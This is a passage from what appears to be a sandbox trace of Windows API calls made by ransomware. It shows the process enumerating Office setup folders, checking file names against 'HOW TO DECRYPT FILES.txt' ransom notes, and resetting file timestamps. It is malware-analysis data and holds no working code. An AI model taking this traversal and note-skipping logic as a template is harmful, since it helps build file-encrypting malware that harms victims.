lpString2="SETUP.XML") returned -1 [0058.387] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.387] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned="GrooveMUI.XML" [0058.387] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" [0058.387] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\") returned="" [0058.387] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.387] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.387] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0058.387] lstrcmpA (lpString1=".", lpString2="InfoPath.en-us") returned -1 [0058.387] lstrcmpA (lpString1="..", lpString2="InfoPath.en-us") returned -1 [0058.387] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.387] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650076, dwReserved1=0x65002e, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.390] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.390] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 1 [0058.390] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.390] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.390] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0058.390] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InfoPathMUI.XML") returned -1 [0058.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InfoPathMUI.XML") returned -1 [0058.390] lstrcmpiA (lpString1="", lpString2="InfoPathMUI.XML") returned -1 [0058.390] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*") returned="*.*" [0058.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" [0058.390] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\") returned="" [0058.393] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.393] CloseHandle (hObject=0x94) returned 1 [0058.394] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.394] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.XML") returned -1 [0058.394] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.394] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned="InfoPathMUI.XML" [0058.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" [0058.394] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\") returned="" [0058.394] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.394] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.394] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0058.394] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ODeploy.exe") returned -1 [0058.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ODeploy.exe") returned -1 [0058.394] lstrcmpiA (lpString1="", lpString2="ODeploy.exe") returned -1 [0058.394] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" [0058.395] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\") returned="" [0058.396] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.396] CloseHandle (hObject=0x90) returned 1 [0058.397] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8550, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0058.397] lstrcmpA (lpString1=".", lpString2="Office.en-us") returned -1 [0058.397] lstrcmpA (lpString1="..", lpString2="Office.en-us") returned -1 [0058.397] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned="ODeploy.exe" [0058.397] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8318, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.399] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.399] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.399] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.399] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.399] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0058.399] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.399] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BRANDING.DLL") returned 1 [0058.399] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BRANDING.DLL") returned 1 [0058.399] lstrcmpiA (lpString1="", lpString2="BRANDING.DLL") returned -1 [0058.399] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*") returned="*.*" [0058.399] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.399] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.402] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.402] CloseHandle (hObject=0x94) returned 1 [0058.402] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0058.402] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.402] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BRANDING.XML") returned 1 [0058.402] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BRANDING.XML") returned 1 [0058.402] lstrcmpiA (lpString1="", lpString2="BRANDING.XML") returned -1 [0058.402] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned="BRANDING.DLL" [0058.402] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.402] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.403] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0058.403] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.403] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OCT.CHM") returned -1 [0058.403] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OCT.CHM") returned -1 [0058.403] lstrcmpiA (lpString1="", lpString2="OCT.CHM") returned -1 [0058.403] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned="BRANDING.XML" [0058.403] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.403] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.403] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0058.403] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.403] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OfficeMUI.XML") returned -1 [0058.403] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OfficeMUI.XML") returned -1 [0058.404] lstrcmpiA (lpString1="", lpString2="OfficeMUI.XML") returned -1 [0058.404] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned="OCT.CHM" [0058.404] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.404] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.404] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0058.404] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.404] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OfficeMUISet.XML") returned -1 [0058.404] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OfficeMUISet.XML") returned -1 [0058.404] lstrcmpiA (lpString1="", lpString2="OfficeMUISet.XML") returned -1 [0058.404] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned="OfficeMUI.XML" [0058.404] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.404] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.404] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0058.404] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.404] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OSETUPUI.DLL") returned -1 [0058.405] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OSETUPUI.DLL") returned -1 [0058.405] lstrcmpiA (lpString1="", lpString2="OSETUPUI.DLL") returned -1 [0058.405] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned="OfficeMUISet.XML" [0058.405] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.405] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.405] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0058.405] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.405] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="promointl.dll") returned -1 [0058.405] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="promointl.dll") returned -1 [0058.405] lstrcmpiA (lpString1="", lpString2="promointl.dll") returned -1 [0058.405] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned="OSETUPUI.DLL" [0058.405] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.405] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.405] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0058.405] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.405] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PSCONFIG.CHM") returned -1 [0058.406] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PSCONFIG.CHM") returned -1 [0058.406] lstrcmpiA (lpString1="", lpString2="PSCONFIG.CHM") 